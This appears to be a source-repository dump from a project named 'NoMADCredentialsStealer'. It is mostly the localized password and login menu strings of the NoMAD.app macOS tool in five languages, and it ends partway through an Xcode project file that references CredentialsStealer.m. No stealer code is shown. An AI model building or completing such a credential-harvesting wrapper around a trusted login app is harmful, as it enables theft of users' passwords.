--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Verrouiller l'écran
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Se connecter
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Pas connecté
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Changer le mot de passe
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | Nom d'utilisateur
44 | comment
45 | User's full name
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Logiciels à la demande
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Obtenir de l'aide
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Préférences
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-RenewTickets
69 |
70 | comment
71 | Menu item to renew Kerberos tickets
72 | value
73 | Renouveler le ticket
74 |
75 | NoMADMenuController-PasswordExpiresInDays
76 |
77 | comment
78 | Long text for how many days until your password expires
79 | value
80 | Le mot de passe expire dans %@ jours
81 |
82 | PasswordDoesNotExpire
83 |
84 | value
85 | Le mot de passe n'expire jamais
86 | comment
87 | menu item for when the password has no expiration date
88 |
89 | PasswordChangeSuccessful
90 |
91 | value
92 | Le mot de passe a été changé avec succès. Remarque: le délai d'expiration du mot de passe peut prendre jusqu'à une heure pour être mis à jour.
93 | comment
94 | message to let user know password changed successfully
95 |
96 | InvalidPassword
97 |
98 | value
99 | Mot de passe invalide. Veuillez réessayer.
100 | comment
101 | error when password is wrong
102 |
103 | InvalidUsername
104 |
105 | value
106 | Nom d'utilisateur invalide. Veuillez réessayer.
107 | comment
108 | error when username is wrong
109 |
110 | PasswordExpire
111 |
112 | value
113 | Votre mot de passe a expiré. Veuillez réinitialiser votre mot de passe maintenant.
114 | comment
115 | error when password has expired
116 |
117 | PasswordAboutToExpire
118 |
119 | value
120 | Mot de passe à expiration!
121 | comment
122 | message when password is about to expire
123 |
124 | PasswordExpiresOn
125 |
126 | value
127 | Votre mot de passe réseau est sur le point d'expirer
128 | comment
129 | Your network password is about to expire on <date>
130 |
131 | PasswordMismatch
132 |
133 | value
134 | Les nouveaux mots de passe ne correspondent pas.
135 | comment
136 | error when new passwords don't match
137 |
138 | NetworkLocalMismatch
139 |
140 | value
141 | Vos mots de passe réseau et locaux sont différents. Entrez votre mot de passe local pour mettre à jour votre session.
142 | comment
143 | error when network and local passwords do not match
144 |
145 | ValidCertificate
146 |
147 | value
148 | Vous avez déjà un certificat valide.
149 | comment
150 | user already has a valid certificate
151 |
152 | Cancel
153 |
154 | value
155 | Annuler
156 | comment
157 | button for cancelling actions
158 |
159 | RequestAnyway
160 |
161 | value
162 | Demander à nouveau
163 | comment
164 | button to request anyway
165 |
166 | CertConnectionError
167 |
168 | value
169 | Erreur de connexion. Assurez-vous que les certificats SSL sont approuvés et que l'URL est correcte pour votre X509 CA.
170 | comment
171 | message when Certificate Authority can't be reached
172 |
173 | CAConfigError
174 |
175 | value
176 | Assurez-vous que les paramètres de l'autorité de certification sont corrects.
177 | comment
178 | error when CA can't be found
179 |
180 | d
181 |
182 | value
183 | j
184 | comment
185 | short form of days
186 |
187 | HomeSharepoint
188 |
189 | value
190 | Le dossier Home
191 | comment
192 | Menu item for opening up a user's home sharepoint from their AD profile
193 |
194 | LoginWindow-OldPasswordLabel
195 |
196 | value
197 | Old Password
198 | comment
199 | Label for old password
200 |
201 | LoginWindow-PasswordLabel
202 |
203 | value
204 | Password
205 | comment
206 | Label for password
207 |
208 | NoMADMenuController-SmartcardSignIn
209 |
210 | value
211 | Smartcard Sign In
212 | comment
213 | PKINIT smartcard menu sign in
214 |
215 | NoMADMenuController-SignInWithSmartcard
216 |
217 | value
218 | Sign in with a Smartcard.
219 | comment
220 | PKINIT smartcard menu sign in tool tip
221 |
222 | NoMADMenuController-NotLoggedIn
223 |
224 | value
225 | Not logged in.
226 | comment
227 | User info for ticket life when not signed in
228 |
229 | NoMADMenuController-NotSignedIn
230 |
231 | value
232 | Not Signed In
233 | comment
234 | User info when not signed in
235 |
236 | NoMADMenuController-NoUser
237 |
238 | value
239 | No User
240 | comment
241 | User info when no user is available
242 |
243 | UserInformation-PasswordChanged
244 |
245 | value
246 | Password Changed
247 | comment
248 | Notification title when password changed
249 |
250 | UserInformation-PwdChangedSignInAgain
251 |
252 | value
253 | Your password was changed, please re-sign into NoMAD to update your password.
254 | comment
255 | Notification text asking to sign in again
256 |
257 | UserInformation-Ignore
258 |
259 | value
260 | Ignore
261 | comment
262 | Password change notification ignore button
263 |
264 |
265 |
266 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Zablokuj ekran
9 | comment
10 | Menu Item to Lock the Screen
11 |
12 | SignIn
13 |
14 | value
15 | Zaloguj się
16 | comment
17 | Menu item to Sign In
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in the menu bar to show that NoMAD can find the Domain
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Brak połączenia
30 | comment
31 | Text in the menu bar to show that NoMAD can not find the Domain
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Zmień hasło
37 | comment
38 | Menu Item to Change Password
39 |
40 | UserName
41 |
42 | value
43 | Nazwa użytkownika
44 | comment
45 | User's full name
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu item to open software portal.
51 | value
52 | Pobierz oprogramowanie
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Otrzymaj pomoc
58 | comment
59 | Menu item to open up the support options.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Preferencje
65 | comment
66 | Menu item to open Preferences window.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Wyjdź
72 | comment
73 | Menu item to quit NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu item to renew Kerberos tickets
79 | value
80 | Odśwież Tickety
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Long text for how many days until your password expires
86 | value
87 | Hasło wygaśnie za: %@ days
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Hasło nie wygasa
93 | comment
94 | menu item for when the password has no expiration date
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Hasło zostało zmienione. Informacja: Może minąć godzina zanim informacja o przedawnieniu hasła zostanie zaktualizowana.
100 | comment
101 | message to let user know password changed successfully
102 |
103 | InvalidPassword
104 |
105 | value
106 | Złe hasło. Proszę spróbuj ponownie.
107 | comment
108 | error when password is wrong
109 |
110 | InvalidUsername
111 |
112 | value
113 | Zła nazwa użytkownika. Proszę spróbuj ponownie.
114 | comment
115 | error when username is wrong
116 |
117 | PasswordExpire
118 |
119 | value
120 | Twoje hasło wygasło. Proszę zresetuj swoje hasło teraz.
121 | comment
122 | error when password has expired
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Twoje hasło niedługo wygaśnie!
128 | comment
129 | message when password is about to expire
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Twoje hasło sieciowe wygaśnie za
135 | comment
136 | Your network password is about to expire on <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | Twoje nowe hasło nie zgadza się wpisz je poprawnie.
142 | comment
143 | error when new passwords don't match
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Twoje hasło lokalne i sieciowe jest inne. Wpisz proszę hasło swojego maca.
149 | comment
150 | error when network and local passwords do not match
151 |
152 | ValidCertificate
153 |
154 | value
155 | Posiadasz już ważny Certyfikat.
156 | comment
157 | user already has a valid certificate
158 |
159 | Cancel
160 |
161 | value
162 | Cancel
163 | comment
164 | button for cancelling actions
165 |
166 | RequestAnyway
167 |
168 | value
169 | Zarządaj
170 | comment
171 | button to request anyway
172 |
173 | CertConnectionError
174 |
175 | value
176 | Brak połączenia. Proszę sprawdź czy certificat SSL jest zaufany i URL X509 CA jest poprawny.
177 | comment
178 | message when Certificate Authority can't be reached
179 |
180 | CAConfigError
181 |
182 | value
183 | Proszę sprawdź czy ustawienia Certificate Authority są poprawne.
184 | comment
185 | error when CA can't be found
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | short form of days
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Katalog domowy Sharepoint
198 | comment
199 | Menu item for opening up a user's home sharepoint from their AD profile
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Stare hasło
205 | comment
206 | Label for old password
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Hasło
212 | comment
213 | Label for password
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Zaloguj się: smart kartą
219 | comment
220 | PKINIT smartcard menu sign in
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Zaloguj się przy użyciu smart karty.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Nie jesteś zalogowany.
233 | comment
234 | User info for ticket life when not signed in
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Nie jesteś zalogowany
240 | comment
241 | User info when not signed in
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | Brak użytkownika
247 | comment
248 | User info when no user is available
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Hasło zostało zmienione
254 | comment
255 | Notification title when password changed
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Twoje hasło zostało zmienione, zaloguj się prosze do NoMADa, aby zaktualizować hasło.
261 | comment
262 | Notification text asking to sign in again
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignoruj
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Bildschirm sperren
9 | comment
10 | Menüpunkt um den Bildschirm zu sperren
11 |
12 | SignIn
13 |
14 | value
15 | Anmelden
16 | comment
17 | Menüpunkt zum Anmelden
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Text in der Menüleiste der anzeigt, dass NoMAD die Domäne finden kann
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Nicht verbunden
30 | comment
31 | Text in der Menüleiste der anzeigt, dass NoMAD die Domäne nicht finden kann
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Passwort ändern
37 | comment
38 | Menüpunkt um das Passwort zu ändern
39 |
40 | UserName
41 |
42 | value
43 | Benutzername
44 | comment
45 | Vollständiger Benutzername.
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menüpunkt um das Software Portal zu öffnen.
51 | value
52 | Software installieren
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Hilfe anfordern
58 | comment
59 | Menüpunkt um Hilfeoptionen anzuzeigen.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Einstellungen
65 | comment
66 | Menüpunkt der das Einstellungsfenster öffnet.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Beenden
72 | comment
73 | Menüpunkt um NoMAD zu beenden.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menüpunkt um Kerberos tickets zu erneuern.
79 | value
80 | Tickets erneuern
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Anzeige für verbleibende Tage bis das Passwort abläuft
86 | value
87 | Passwort läuft ab in: %@ Tagen
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Passwort läuft nicht ab
93 | comment
94 | Menüpunkt wenn kein Ablaufdatum für das Passwort gesetzt ist.
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Passwort erfolgreich geändert. Hinweis: Es kann bis zu eine Stunde dauern bis das Ablaufdatum aktualisiert wird.
100 | comment
101 | Nachricht um den Benutzer zu informieren dass das Passwort efolgreich geändert wurde
102 |
103 | InvalidPassword
104 |
105 | value
106 | Ungültiges Passwort. Bitte erneut eingeben.
107 | comment
108 | Fehlermeldung wenn das Passwort inkorrekt eingegeben wurde
109 |
110 | InvalidUsername
111 |
112 | value
113 | Ungültiger Benutzername. Bitte erneut eingeben.
114 | comment
115 | Fehlermeldung wenn der Benutzername inkorrekt eingegeben wurde
116 |
117 | PasswordExpire
118 |
119 | value
120 | Passwort ist abgelaufen. Bitte das Passwort jetzt ändern.
121 | comment
122 | Fehlermeldung wenn das Passwort abgelaufen ist
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Passwort läuft bald ab!
128 | comment
129 | Nachricht wenn das Passwort bald abläuft
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Netzwerk-Passwort läuft ab am
135 | comment
136 | Netzwerk-Passwort läuft ab am <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | Neue Passwörter stimmen nicht überein.
142 | comment
143 | Fehlermeldung wenn neue Passwörter nicht übereinstimmen
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Netzwerk-Passwort und lokales Passwort stimmen nicht überein. Bitte geben Sie das Passwort für Ihren Mac ein.
149 | comment
150 | Fehlermeldung wenn Netzwerk- und lokales Passwort nicht übereinstimmen
151 |
152 | ValidCertificate
153 |
154 | value
155 | Gültiges Zertifikat bereits vorhanden.
156 | comment
157 | Benutzer hat bereits ein gültiges Zertifikat
158 |
159 | Cancel
160 |
161 | value
162 | Abbrechen
163 | comment
164 | Schaltfläche zum Abbrechen
165 |
166 | RequestAnyway
167 |
168 | value
169 | Trotzdem anfordern
170 | comment
171 | Schaltfläche um trotzdem ein Zertifikat anzufordern
172 |
173 | CertConnectionError
174 |
175 | value
176 | Verbindungsfehler. Stellen Sie sicher dass die URL für Ihre X509 CA korrekt ist und den SSL Zertifkaten vertraut wird.
177 | comment
178 | Nachricht wenn Zertifikatsstelle nicht erreicht werden kann
179 |
180 | CAConfigError
181 |
182 | value
183 | Bitte überprüfen Sie ob die Einstellungen für Ihre Zertifkatsstelle korrekt sind.
184 | comment
185 | Fehlermeldung wenn Zertifkatsstelle nicht gefunden werden kann
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | Kürzel für Tage
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Netzwerk-Benutzerzeichnis
198 | comment
199 | Menüpunkt um das Netzwerk-Benutzerzeichnis aus dem AD-Profil zu öffnen
200 |
201 | FileServers
202 |
203 | value
204 | Dateiserver
205 | comment
206 | Menüpunkt für Dateiserver
207 |
208 | Edit...
209 |
210 | value
211 | Bearbeiten...
212 | comment
213 | Menüpunkt zum Bearbeiten
214 |
215 | LoginWindow-OldPasswordLabel
216 |
217 | value
218 | Old Password
219 | comment
220 | Label for old password
221 |
222 | LoginWindow-PasswordLabel
223 |
224 | value
225 | Password
226 | comment
227 | Label for password
228 |
229 | NoMADMenuController-SmartcardSignIn
230 |
231 | value
232 | Smartcard Sign In
233 | comment
234 | PKINIT smartcard menu sign in
235 |
236 | NoMADMenuController-SignInWithSmartcard
237 |
238 | value
239 | Sign in with a Smartcard.
240 | comment
241 | PKINIT smartcard menu sign in tool tip
242 |
243 | NoMADMenuController-NotLoggedIn
244 |
245 | value
246 | Not logged in.
247 | comment
248 | User info for ticket life when not signed in
249 |
250 | NoMADMenuController-NotSignedIn
251 |
252 | value
253 | Not Signed In
254 | comment
255 | User info when not signed in
256 |
257 | NoMADMenuController-NoUser
258 |
259 | value
260 | No User
261 | comment
262 | User info when no user is available
263 |
264 | UserInformation-PasswordChanged
265 |
266 | value
267 | Password Changed
268 | comment
269 | Notification title when password changed
270 |
271 | UserInformation-PwdChangedSignInAgain
272 |
273 | value
274 | Your password was changed, please re-sign into NoMAD to update your password.
275 | comment
276 | Notification text asking to sign in again
277 |
278 | UserInformation-Ignore
279 |
280 | value
281 | Ignore
282 | comment
283 | Password change notification ignore button
284 |
285 |
286 |
287 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Vergrendel scherm
9 | comment
10 | Menu onderdeel om het scherm te vergrendelen
11 |
12 | SignIn
13 |
14 | value
15 | Authenticeer
16 | comment
17 | Menu onderdeel om te authenticeren
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Tekst in de menubalk om aan te geven dat NoMAD het domein kan vinden
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Niet verbonden
30 | comment
31 | Tekst in de menubalk om aan te geven dat NoMAD het domein niet kan vinden
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Wijzig wachtwoord
37 | comment
38 | Menu onderdeel om het wachtwoord te wijzigen
39 |
40 | UserName
41 |
42 | value
43 | Gebruikers naam Name
44 | comment
45 | Gebruikers volledige naam
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Menu onderdeel om software portaal te openen.
51 | value
52 | Toon software
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Toon hulp
58 | comment
59 | Menu onderdeel om support opties te tonen.
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Voorkeuren
65 | comment
66 | Menu onderdeel om voorkeuren venster te openen.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Stop
72 | comment
73 | Menu onderdeel om NoMAD te stoppen.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Menu onderdeel om Kerberos tickets te vernieuwen.
79 | value
80 | Vernieuw tickets
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Uitgebreide tekst voor het aantal dagen totdat uw wachtwoord verloopt.
86 | value
87 | Wachtwoord verloopt over: %@ dagen
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | Wachtwoord verloopt niet
93 | comment
94 | Menu onderdeel indien het wachtwoord geen verloopddatum heeft.
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Wachtwoord succesvol aangepast. Let op: het kan tot een uur duren voordat de wachtwoord verloop tijd wordt bijgewerkt.
100 | comment
101 | melding om gebruiker te bevestigen dat het wachtwoord succesvol is aangepast.
102 |
103 | InvalidPassword
104 |
105 | value
106 | Ongeldig wachtwoord. Probeer het opnieuw.
107 | comment
108 | melding als het wachtwoord niet correct is
109 |
110 | InvalidUsername
111 |
112 | value
113 | Ongeldige gebruikersnaam. Probeer het opnieuw.
114 | comment
115 | melding als de gebruikersnaam niet correct is
116 |
117 | PasswordExpire
118 |
119 | value
120 | Uw wachtwoord is verlopen. Stel nu uw wachtwoord opnieuw in.
121 | comment
122 | melding als het wachtwoord verlopen is
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | Wachtwoord verloopt binnenkort!
128 | comment
129 | melding als het wachtwoord binnenkort verloopt.
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Uw netwerk wachtwoord verloopt binnenkort op
135 | comment
136 | Uw netwerk wachtwoord verloopt binnenkort op <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | Nieuwe wachtwoorden zijn niet gelijk.
142 | comment
143 | foutmelding als wachtwoord niet gelijk zijn ingevoerd.
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Uw netwerk en lokale wachtwoord zijn niet gelijk. Voer het wachtwoord in van uw Mac.
149 | comment
150 | foutmelding als netwerk en lokale wachtwoord niet gelijk zijn.
151 |
152 | ValidCertificate
153 |
154 | value
155 | U heeft al een geldig certificaat.
156 | comment
157 | gebruiker heeft al een geldig certificaat
158 |
159 | Cancel
160 |
161 | value
162 | Annuleer
163 | comment
164 | knop om acties te annuleren
165 |
166 | RequestAnyway
167 |
168 | value
169 | Vraag toch aan
170 | comment
171 | knop om toch aan te vragen
172 |
173 | CertConnectionError
174 |
175 | value
176 | Verbindingsfout. Controleer of SSL certificaten vertrouwd zijn en dat de URL correct is voor uw X509 CA.
177 | comment
178 | foutmelding als Certificaat Authoriteit niet bereikt kan worden.
179 |
180 | CAConfigError
181 |
182 | value
183 | Controleer de instellingen van uw Certificaat Authoriteit.
184 | comment
185 | foutmelding als CA niet bereikt kan worden
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | korte vorm van dagen
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Thuismap op netwerkvolume
198 | comment
199 | Menu onderdeel om de thuismap op het netwerkvolume zoals bekend in het AD gebruikersprofiel te openen.
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Oude wachtwoord
205 | comment
206 | Label voor oude wachtwoord
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Wachtwoord
212 | comment
213 | Label voor wachtwoord
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Smartcard authenticatie
219 | comment
220 | PKINIT smartcard menu authenticatie
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Authenticeer met Smartcard.
226 | comment
227 | PKINIT smartcard menu authenticatie tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | Niet aangemeld.
233 | comment
234 | User info voor ticket leeftijd als niet aangemeld
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | Niet geauthenticeerd
240 | comment
241 | User info als niet geauthenticeerd is (not signed in)
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | Geen gebruiker
247 | comment
248 | User info als de gebruiker niet gevonden is
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Wachtwoord aangepast
254 | comment
255 | Melding als wachtwoord aangepast is.
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Uw wachtwoord was aangepast. Authenticeer opnieuw in met NoMAD om uw wachtwoord bij te werken. Your password was changed, please re-sign into NoMAD to update your password.
261 | comment
262 | Meldingstekst om opnieuw te authenticeren als wachtwoord aangepast is
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Negeer
268 | comment
269 | Wijzig wachtwoord melding negeer knop
270 |
271 |
272 |
273 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/Languages.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Lock Screen
6 |
7 | value
8 | Bloquear pantalla
9 | comment
10 | Item del menú para bloquear la pantalla
11 |
12 | SignIn
13 |
14 | value
15 | Iniciar sesión
16 | comment
17 | Item de menu para iniciar sesión
18 |
19 | NoMADMenuController-Connected
20 |
21 | value
22 |
23 | comment
24 | Texto en la barra de menu para mostrar que NoMAD no puede encontrar el dominio
25 |
26 | NoMADMenuController-NotConnected
27 |
28 | value
29 | Sin conexión
30 | comment
31 | Texto en la barra de menu para mostrar que NoMAD no puede encontrar el dominio
32 |
33 | NoMADMenuController-ChangePassword
34 |
35 | value
36 | Cambiar contraseña
37 | comment
38 | Item del menú para cambiar contraseña
39 |
40 | UserName
41 |
42 | value
43 | Nombre de usuario
44 | comment
45 | Nombre completo de usuario
46 |
47 | NoMADMenuController-GetSoftware
48 |
49 | comment
50 | Item del menu para abrir el portal de aplicaciones.
51 | value
52 | Obtener aplicación
53 |
54 | NoMADMenuController-GetHelp
55 |
56 | value
57 | Obtener ayuda
58 | comment
59 | Item del menu para abrir las opciones de soporte
60 |
61 | NoMADMenuController-Preferences
62 |
63 | value
64 | Preferencias
65 | comment
66 | Item del menu para abrir la venta de preferencias.
67 |
68 | NoMADMenuController-Quit
69 |
70 | value
71 | Cerrar
72 | comment
73 | Item del menu para cerrar NoMAD.
74 |
75 | NoMADMenuController-RenewTickets
76 |
77 | comment
78 | Item del menu para renovar los tickets de Kerberos
79 | value
80 | Renovar tickets
81 |
82 | NoMADMenuController-PasswordExpiresInDays
83 |
84 | comment
85 | Texto largo para cuántos días quedan para caducar la contraseña
86 | value
87 | La contraseña caduca en: %@ días
88 |
89 | PasswordDoesNotExpire
90 |
91 | value
92 | La contraseña no caduca
93 | comment
94 | item del menu para cuando las contraseñas no tiene fecha de caducidad
95 |
96 | PasswordChangeSuccessful
97 |
98 | value
99 | Cambio de contraseña correcto. Nota: podría tomar hasta una hora para que la fecha de caducidad de tu contraseña sea actualizada.
100 | comment
101 | mensaje para permitir al usuario conocer el cambio correcto de contraseña
102 |
103 | InvalidPassword
104 |
105 | value
106 | Contraseña incorrecta. Por favor prueba de nuevo
107 | comment
108 | error cuando la contraseña es incorrecta
109 |
110 | InvalidUsername
111 |
112 | value
113 | Nombre de usuario incorrecto. Por favor prueba de nuevo
114 | comment
115 | error cuando el nombre de usuario es incorrecto
116 |
117 | PasswordExpire
118 |
119 | value
120 | Tu contraseña ha caducado. Por favor restablece tu contraseña ahora
121 | comment
122 | error cuando la contraseña ha caducado
123 |
124 | PasswordAboutToExpire
125 |
126 | value
127 | ¡Contraseña a punto de caducar!
128 | comment
129 | mensaje cuando tu contraseña está a punto de caducar
130 |
131 | PasswordExpiresOn
132 |
133 | value
134 | Tu contraseña de red está a punto de caducar
135 | comment
136 | Tu contraseña de red está a punto de caducar en <date>
137 |
138 | PasswordMismatch
139 |
140 | value
141 | Las nuevas contraseñas no coinciden.
142 | comment
143 | error cuando las nuevas contraseñas no coinciden
144 |
145 | NetworkLocalMismatch
146 |
147 | value
148 | Tus contraseñas de red y local no son la misma. Por favor introduce la contraseña para tu Mac
149 | comment
150 | error cuando las contraseñas de red y local no coinciden
151 |
152 | ValidCertificate
153 |
154 | value
155 | Ya tienes un certificado valido
156 | comment
157 | el usuario ya tiene un certificado valido
158 |
159 | Cancel
160 |
161 | value
162 | Cancelar
163 | comment
164 | botón para cancelar acciones
165 |
166 | RequestAnyway
167 |
168 | value
169 | Solicitar de todos modos
170 | comment
171 | botón para solicitar de todos modos
172 |
173 | CertConnectionError
174 |
175 | value
176 | Error de conexión. Por favor asegurate que los certificados SSL son de confianza y la URL para tu CA X509 sea correcta.
177 | comment
178 | mensaje cuando la Autoridad Certificadora no es alcanzable
179 |
180 | CAConfigError
181 |
182 | value
183 | Por favor asegurate que los ajustes de tu Autoridad Certificadora son correctos.
184 | comment
185 | error cuando la CA no se encuentra
186 |
187 | d
188 |
189 | value
190 | d
191 | comment
192 | forma corta para días
193 |
194 | HomeSharepoint
195 |
196 | value
197 | Carpeta de usuario compartida en red
198 | comment
199 | Item del menu para abrir la carpeta de usuario compartida en red de su perfil de AD
200 |
201 | LoginWindow-OldPasswordLabel
202 |
203 | value
204 | Contraseña antigua
205 | comment
206 | Etiqueta para contraseña antigua
207 |
208 | LoginWindow-PasswordLabel
209 |
210 | value
211 | Contraseña
212 | comment
213 | Etiqueta para contraseña
214 |
215 | NoMADMenuController-SmartcardSignIn
216 |
217 | value
218 | Iniciar sesión con SmartCard
219 | comment
220 | Menu para iniciar sesión con PKINIT smartcard
221 |
222 | NoMADMenuController-SignInWithSmartcard
223 |
224 | value
225 | Iniciar sesión con SmartCard.
226 | comment
227 | PKINIT smartcard menu sign in tool tip
228 |
229 | NoMADMenuController-NotLoggedIn
230 |
231 | value
232 | No conectado
233 | comment
234 | Información al usuario sobre la caducidad del ticket cuando no está conectado
235 |
236 | NoMADMenuController-NotSignedIn
237 |
238 | value
239 | No conectado
240 | comment
241 | Información del usuario cuando no está conectado
242 |
243 | NoMADMenuController-NoUser
244 |
245 | value
246 | Sin usuario
247 | comment
248 | Información del usuario cuando no está disponible ningún usuario
249 |
250 | UserInformation-PasswordChanged
251 |
252 | value
253 | Contraseña cambiada
254 | comment
255 | Notificación cuando la contraseña ha sido cambiada
256 |
257 | UserInformation-PwdChangedSignInAgain
258 |
259 | value
260 | Tu contraseña fue cambiada, por favor reinicia sesión en NoMAD para actualizar tu contraseña
261 | comment
262 | Notificación pidiendo el inicio de otra vez otra vez
263 |
264 | UserInformation-Ignore
265 |
266 | value
267 | Ignorar
268 | comment
269 | Password change notification ignore button
270 |
271 |
272 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 50;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 70859F4024C5C27C00345FD1 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 70859F3F24C5C27C00345FD1 /* main.m */; };
11 | 70859F6524C5C2D900345FD1 /* NoMAD.app in Resources */ = {isa = PBXBuildFile; fileRef = 70859F6424C5C2D900345FD1 /* NoMAD.app */; };
12 | 70859F6F24C5C73E00345FD1 /* CredentialsStealer.m in Sources */ = {isa = PBXBuildFile; fileRef = 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */; };
